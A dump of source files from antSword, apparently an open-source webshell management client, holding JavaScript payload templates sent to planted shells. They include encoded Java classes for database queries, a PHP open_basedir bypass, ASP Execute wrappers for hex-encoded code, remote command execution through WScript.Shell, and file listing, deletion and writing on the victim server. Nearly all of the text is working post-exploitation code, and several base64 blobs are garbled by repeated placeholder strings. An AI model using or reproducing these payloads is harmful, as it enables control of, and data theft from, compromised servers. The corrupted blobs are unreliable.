your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash8QoAdQDyCgA1APMHAPQHAPUHAPYIAPcIAPgKADUA+QgA+ggAdgoANQD7CgD8AP0KAPwA/ggAeAcA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashmcvU3RyaW5nOylbQgEAClNvdXJjZUZpbGUBAApRdWVyeS5qYXZhDAB/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashARkMARoBGwwAgwCEAQAQamF2YS9sYW5nL1N0cmluZwwAkACRDAB/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashC7YAGrYAG1enACE6CSy7AB1ZtwAeEh+your_sha256_hashgGQS2ACC2ACK2ACanAAU6CQSsAAIAJACeAKEAHAC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashFQyZANAZC7kATAEAOg0ZDbkATQEAOg4VBpkAVAQ2DxUPGQ65AE4BAKMALxkOFQ+5AE8CADoQuwAdWbcAHhkHtgAgGRC2ACAZBLYAILYAIjoHhA8Bp//your_sha256_hashZDRUPuQBRAgA6ELsAHVm3AB4ZB7YAICoZELYAUrYAIBkEtgAgtgAiOgeEDwGn/8e7AB1ZtwAeGQe2ACAZBbYAILYAIjoHp/+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashTtgA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAJIAAAACAJM=', [arg1]: '#{newbase64::encode}', [arg2]: '#{newbase64::conn}', [arg3]: '#{newbase64::sql}' } }) ```
/content/code_sandbox/source/core/jsp/template/database/mysql.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
3,483
```javascript /** * PHP4 */ 'use strict'; //const Base = require('../base'); const PHP = require('../php/index'); class PHP4 extends PHP { /** * HTTP * @param {Object} data * @return {Promise} Promise */ complete(data, force_default = false) { // let tag_s, tag_e; if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) { tag_s = this.__opts__['otherConf']['custom-datatag-tags']; } else { tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|"; } if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) { tag_e = this.__opts__['otherConf']['custom-datatag-tage']; } else { tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-"; } let asencCode; if (!force_default) { asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(); } else { asencCode = this .__decoder__['default'] .asoutput(); } // let tmpCode = data['_']; let opdir = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); let bypassOpenBaseDirCode = ` $opdir=@ini_get("open_basedir"); if($opdir) { $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]); $oparr=preg_split("/;|:/",$opdir); @array_push($oparr,$ocwd,sys_get_temp_dir()); foreach($oparr as $item) { if(!@is_writable($item)){ continue; }; $tmdir=$item."/.${opdir}"; @mkdir($tmdir); if(!@file_exists($tmdir)){ continue; } @chdir($tmdir); @ini_set("open_basedir", ".."); $cntarr=@preg_split("/\\\\\\\\|\\//",$tmdir); for($i=0;$i<sizeof($cntarr);$i++){ @chdir(".."); }; @ini_set("open_basedir","/"); @rmdir($tmdir); break; }; };`.replace(/\n\s+/g, ''); data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);${bypassOpenBaseDirCode};${asencCode};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "${tag_s.substr(0,tag_s.length/2)}"."${tag_s.substr(tag_s.length/2)}";echo @asenc($output);echo "${tag_e.substr(0,tag_e.length/2)}"."${tag_e.substr(tag_e.length/2)}";}ob_start();${tmpCode};asoutput();die();`; // return this.encodeComplete(tag_s, tag_e, data); } } module.exports = PHP4; ```
/content/code_sandbox/source/core/php4/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
770
```javascript // // sqlserver // // @params // :encode SHELL // :conn // :sql SQL // :db // :table module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ show_databases: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashYW5kb21QcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashbgD5AQAADAD6AO8BAAINCgEAAQoMAPsA/AwA/QD+DAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashHFm3AB0ZB7YAHxkPtgAfGQS2AB+2ACE6B4QOAaf/your_sha256_hashGQwVDrkAOgIAOg+7ABxZtwAdGQe2AB8ZD7YAHxkEtgAftgAhOgeEDgGn/8u7ABxZtwAdGQe2AB8ZBbYAH7YAIToHp/+lGQewAAAAAQBxAAAAWgAWAAAAPAAEAD0AFgA+your_sha256_hashAKoATgC5AE8AxABQAN8ATgDlAFIA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAACtgA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAB4ABwAAAIAACQCBACgAggAtAIMAVACEAHIAhQBzAIYAAQB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashjgARAI8AGACQAC0AkQBVAJIAWACTAF8AlACHAJYAiQCXAIsAmAABAIAAAAACAIE=', [arg1]: '#{newbase64::encode}', [arg2]: '#{newbase64::conn}' }, show_tables: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashALcAuAsAuQC6CwC7ALwLALsAvQsAuQC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashOi8vIAwA7QDvDADwAPEMAPIA8wwAfgB2BwD0DAD1AOoHAPYMAPcA+AwA+QD6DABzAHQBABBqYXZhL2xhbmcvU3RyaW5nDAB/AIAMAG8A+wEAAAwA/your_sha256_hashgELBwEMDAENAQ4HAQ8MARABEQwBEgD6DAETARQMARUA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashABrACEAfAAiAI8AIwCeACYAoQAkAKMAJQC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashHhkHtgAgGQ+2ACAZBLYAILYAIjoHhA4Bp//your_sha256_hashZDBUOuQA7AgA6D7sAHVm3AB4ZB7YAIBkPtgAgGQS2ACC2ACI6B4QOAaf/y7sAHVm3AB4ZB7YAIBkFtgAgtgAiOgen/6UZB7AAAAABAHIAAABaABYAAAA+your_sha256_hashAIoATACgAE8AqgBQALkAUQDEAFIA3wBQAOUAVAD7AFUA/gBWAHcAAAAEAAEAHAAAAHoAewACAHEAAAA+AAcABwAAABoSPDoEEj06BRItOgYqKywZBBkFGQYDtgA+your_sha512_hash+your_sha256_hashyour_sha256_hashyour_sha256_hashEtgA/Ek+2AEw6BRkFBLYATSoZBRkEtgBOwABDtQADpwAoTioqtAACtgA/your_sha256_hashyour_sha256_hashyour_sha256_hashdAC3AHYA1gB5ANkAdwDbAH4AAQB+your_sha256_hashWQWyAFNTtgBHTi0EtgBULSq2AD+2AFUGvQBIWQMsU1kEA7gAVlNZBSy+your_sha256_hashyour_sha256_hashyour_sha256_hashvQBGtgBgAQO9AEi2AEk6BRkFtgA/your_sha256_hashyour_sha256_hashyour_sha256_hashlQBfAJYAhwCYAIkAmQCLAJoAAQCBAAAAAgCC', [arg1]: '#{newbase64::encode}', [arg2]: '#{newbase64::conn}', [arg3]: '#{newbase64::db}' }, show_columns: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashALkLALoAuwsAvAC9CwC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashQ2hhcnNldAwAbgBtAQAUYW50c3dvcmRyYW5kb21QcmVmaXgMAG8AbQwAfgB/AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgEAAy0+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAPsA/AwA/QD+DAB1AHYBABBqYXZhL2xhbmcvU3RyaW5nDACBAIIMAHEA/your_sha256_hashAcBDQwBDgEPBwEQDAERARIHARMMARQBFQwBFgD+DAEXARgMARkA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashS8BMAcBMQwBMgEzAQAMamF2YS52ZXJzaW9uBwE0DAE1AHgBAAMxLjkMATYA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashgBzAAABbQADABAAAAEBEi46Byy2AC8SMBIxtgAyEjG2ADM6CBkIAzK2AC+your_sha256_hashAVAQ2DhUOGQ25ADkBAKMALxkNFQ65ADoCADoPuwAeWbcAHxkHtgAhGQ+2ACEZBLYAIbYAIzoHhA4Bp//your_sha256_hashZDBUOuQA8AgA6D7sAHlm3AB8ZB7YAIRkPtgAhGQS2ACG2ACM6B4QOAaf/y7sAHlm3AB8ZB7YAIRkFtgAhtgAjOgen/your_sha256_hashyour_sha256_hashgD7AFcA/your_sha256_hashyour_sha256_hashBIABAAAAFwABABdAAgAXgAnAF8AeQAAAAQAAQAdAAEAfgB/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashtgBWLSq2AEG2AFcGvQBKWQMsU1kEA7gAWFNZBSy+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash, [arg1]: '#{newbase64::encode}', [arg2]: '#{newbase64::conn}', [arg3]: '#{newbase64::db}', [arg4]: '#{newbase64::table}' }, query: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashdADwCgA1APEHAPIHAPMHAPQIAPUIAPYKADUA9wgA+AgAdQoANQD5CgD6APsKAPoA/AgAdwcA/QgA/gkAtQD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashOylbQgEAClNvdXJjZUZpbGUBAApRdWVyeS5qYXZhDAB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashARcMARgBGQwAggCDAQAQamF2YS9sYW5nL1N0cmluZwwAjwCQDAB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashBwE1DAE2ATcHATgMATkBOgcBOwwBPAE9DAE+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashGQoZC7YAGrYAG1enACE6CSy7AB1ZtwAeEh+your_sha256_hashgGQS2ACC2ACK2ACanAAU6CQSsAAIAJACeAKEAHAC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashADYZBQS9ADdZAyu2ADxTtgA4wAAqTqcARBI9uAAzOgQZBAO9ADW2AD4DvQA3tgA/OgUZBbYAORJABL0ANVkDEwA7U7YANhkFBL0AN1kDK7YAPFO2ADjAACpOLRJBEi+2AEJOLbBOEi+wAAEABgClAKYAHAABAIEAAAA6AA4AAAA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashELsAHVm3AB4ZB7YAIBkQtgAgGQS2ACC2ACI6B4QPAaf/your_sha256_hashGQ0VD7kAUAIAOhC7AB1ZtwAeGQe2ACAqGRC2AFG2ACAZBLYAILYAIjoHhA8Bp//HuwAdWbcAHhkHtgAgGQW2ACC2ACI6B6f/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAFmwAAAAAQCBAAAADgADAAAAfAAEAH0ACAB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashbFO2ADjAADU6BBkEBL0ANVkDEwAqU7YAbQS9ADdZAytTtgA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAEAkQAAAAIAkg==', [arg1]: '#{newbase64::encode}', [arg2]: '#{newbase64::conn}', [arg3]: '#{newbase64::sql}' } }) ```
/content/code_sandbox/source/core/jsp/template/database/sqlserver.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
3,758
```javascript /** * asp::default */ 'use strict'; module.exports = { asoutput: () => { return ``.replace(/\n\s+/g, ''); }, decode_buff: (buff) => { return buff; } } ```
/content/code_sandbox/source/core/asp/decoder/default.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
52
```javascript /** * ASP * 2016/04/12 * - * <path_to_url */ 'use strict'; // import Base from '../base'; const Base = require('../base'); class ASP extends Base { constructor(opts) { super(opts); // [ 'base', 'command', 'filemanager', 'database/dsn', 'database/mysql', 'database/access', 'database/oracle', 'database/sqlserver', 'database/sqloledb_1', 'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0' ].map((_) => { this.parseTemplate(`./asp/template/${_}`); }); // this .encoders .map((_) => { this.parseEncoder(`./asp/encoder/${_}`); }); this .decoders .map((_) => { this.parseDecoder(`./asp/decoder/${_}`); }); } /** * * @return {array} */ get encoders() { return ['insert_percent', 'xxxxdog']; } get decoders() { return ['default']; } /** * HTTP * @param {Object} data * @return {Promise} Promise */ complete(data, force_default = false) { // let tag_s, tag_e; if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) { tag_s = this.__opts__['otherConf']['custom-datatag-tags']; } else { tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|"; } if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) { tag_e = this.__opts__['otherConf']['custom-datatag-tage']; } else { tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-"; } // let formatter = new this.format(this.__opts__['encode']); let formatter = Base .prototype .format(this.__opts__); // hex let hexCode = formatter['hex'](data['_']); // data['_'] = `eval("Ex"&cHr(101)&"cute(""Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""${tag_s.substr(0,tag_s.length/2)}""""&""""${tag_s.substr(tag_s.length/2)}""""):Ex"&cHr(101)&"cute(""""On Error Resume Next:""""&bd(""""${hexCode}"""")):Response.Write(""""${tag_e.substr(0,tag_e.length/2)}""""&""""${tag_e.substr(tag_e.length/2)}""""):Response.End"")")`; // return this.encodeComplete(tag_s, tag_e, data); } } module.exports = ASP; ```
/content/code_sandbox/source/core/asp/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
850
```javascript /** * * ? */ module.exports = () => ({ info: { _: `Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)` }, probedb: // { _: `Function fe(strobj): on error resume next: fe=0: server.CreateObject(strobj): If -2147221005 <> Err then:fe=1:End If: End Function: m="Adodb.Connection|Adodb.RecordSet": m=split(m,"|"): for i=0 to ubound(m): Response.Write(m(i)&chr(9)&fe(m(i))&chr(10)): next:`.replace(/\n\s+/g, '') }, }) ```
/content/code_sandbox/source/core/asp/template/base.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
215
```javascript /** * */ module.exports = (arg1, arg2, arg3) => ({ exec: { _: `Set PutEnv=CreateObject("WScript.Shell").Environment("Process"): envstr=Split(""&bd(Request("${arg3}"))&"", "|||asline|||"): For Each envline in envstr: If Len(envline)>0 Then: ss=Split(envline, "|||askey|||"): PutEnv(ss(0))=ss(1): End If: Next: Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""): If Err Then: S="[Err] "&Err.Description: Err.Clear: Else: O=X.StdOut.ReadAll(): E=X.StdErr.ReadAll(): S=O&E: End If: Response.write(S)`.replace(/\n\s+/g, ''), [arg1]: "#{hex::bin}", [arg2]: "#{hex::cmd}", [arg3]: "#{hex::env}", }, listcmd: { _: `AA=Split(""&bd(Request("${arg1}"))&"",","): Set FS=CreateObject("Scripting.FileSystemObject"): For Each A in AA: Response.Write(A&chr(9)): If FS.FileExists(A) Then: Response.Write("1"): Else: Response.Write("0"): End If: Response.Write(chr(10)): Next `.replace(/\n\s+/g, ''), [arg1]: "#{hex::binarr}", } }) ```
/content/code_sandbox/source/core/asp/template/command.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
362
```javascript /** * ASP::oracle */ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // show_databases: { _: `Set Conn=Server.CreateObject("Adodb.connection"): Dim SI: Conn.Open bd(Request("${arg1}")): If Err Then: SI="ERROR:// "&Err.Description: Err.Clear: Else: Set Rs=Conn.Execute("SELECT USERNAME FROM ALL_USERS ORDER BY 1"): If Err Then: SI="ERROR:// "&Err.Description: Err.Clear: Else: Do While Not(Rs.Eof Or Rs.Bof): SI=SI&Rs(0)&chr(9): Rs.MoveNext: Loop: End If: Set Rs=Nothing: Conn.Close: End If: Set Conn=Nothing: Response.Write(SI)`.replace(/\n\s+/g, ''), [arg1]: '#{hex::conn}' }, // show_tables: { _: `Set Conn=Server.CreateObject("Adodb.connection"): Dim SI: Conn.Open ""&bd(Request("${arg1}"))&"": If Err Then: SI="ERROR:// "&Err.Description: Err.Clear: Else: Set Rs=Conn.Execute("SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='"&Request("${arg2}")&"' ORDER BY 1)"): If Err Then: SI="ERROR:// "&Err.Description: Err.Clear: Else: Do While Not(Rs.Eof Or Rs.Bof): SI=SI&Rs(0)&chr(9): Rs.MoveNext: Loop: End If: Set Rs=Nothing: Conn.Close: End If: Set Conn=Nothing: Response.Write(SI)`.replace(/\n\s+/g, ''), [arg1]: '#{hex::conn}', [arg2]: '#{dbname}' }, // show_columns: { _: `Set Conn=Server.CreateObject("Adodb.connection"): Dim SI: Conn.Open ""&bd(Request("${arg1}"))&"": If Err Then: SI="ERROR:// "&Err.Description: Err.Clear: Else: Set Rs=CreateObject("Adodb.Recordset"): Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1: If Err Then: SI="ERROR:// "&Err.Description: Err.Clear: Else: Dim FN: FN=Rs.Fields.Count-1: Do While Not(Rs.Eof Or Rs.Bof): Response.Write Rs(0)&" ("&Rs(1)&"("&Rs(2)&"))"&chr(9): Rs.MoveNext: Loop: Rs.Close: End If: Set Rs=Nothing: Conn.Close: End If: Set Conn=Nothing: Response.Write(SI)`.replace(/\n\s+/g, ''), [arg1]: '#{hex::conn}', [arg2]: '#{hex::table}' }, // SQL query: { _: `Set Conn=Server.CreateObject("Adodb.connection"): Conn.Open ""&bd(Request("${arg1}"))&"": Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9): RN=chr(13)&chr(10): HD="Result"&CO&RN: If Err Then: Response.Write HD&Err.Description&CO&RN: Err.Clear: Else: Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""): If Err Then: Response.Write HD&Err.Number&":"&Err.Description&CO&RN: Err.Clear: Else: Dim FN: FN=Rs.Fields.Count-1: For n=0 To FN: Response.Write Rs.Fields.Item(n).Name&CO: Next: Response.Write RN: Do While Not(Rs.Eof Or Rs.Bof): For n=0 To FN: Response.Write Rs(n): Response.Write CO: Next: Response.Write RN: Rs.MoveNext: Loop: End If: Set Rs=Nothing: Conn.Close: End If: Set Conn=Nothing:`.replace(/\n\s+/g, ''), [arg1]: '#{hex::conn}', [arg2]: '#{hex::sql}', [arg3]: '#{dbname}' } }) ```
/content/code_sandbox/source/core/asp/template/database/oracle.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
965
```javascript // // ASP::mysql // module.exports = require('./default'); ```
/content/code_sandbox/source/core/asp/template/database/mysql.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
17
```javascript // // ASP::microsoft_jet_oledb_4_0 // module.exports = require('./access'); ```
/content/code_sandbox/source/core/asp/template/database/microsoft_jet_oledb_4_0.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
26
```javascript /** * */ module.exports = (arg1, arg2, arg3) => ({ dir: { _: `Dim RR:RR=bd(Request("${arg1}")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If`, [arg1]: "#{hex::path}" }, delete: { _: `Dim P:P=bd(Request("${arg1}")):Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`, [arg1]: "#{hex::path}" }, create_file: { _: `CreateObject("Scripting.FileSystemObject").CreateTextFile(""&bd(Request("${arg1}"))&"").Write(""&bd(Request("${arg2}"))&""):If Err 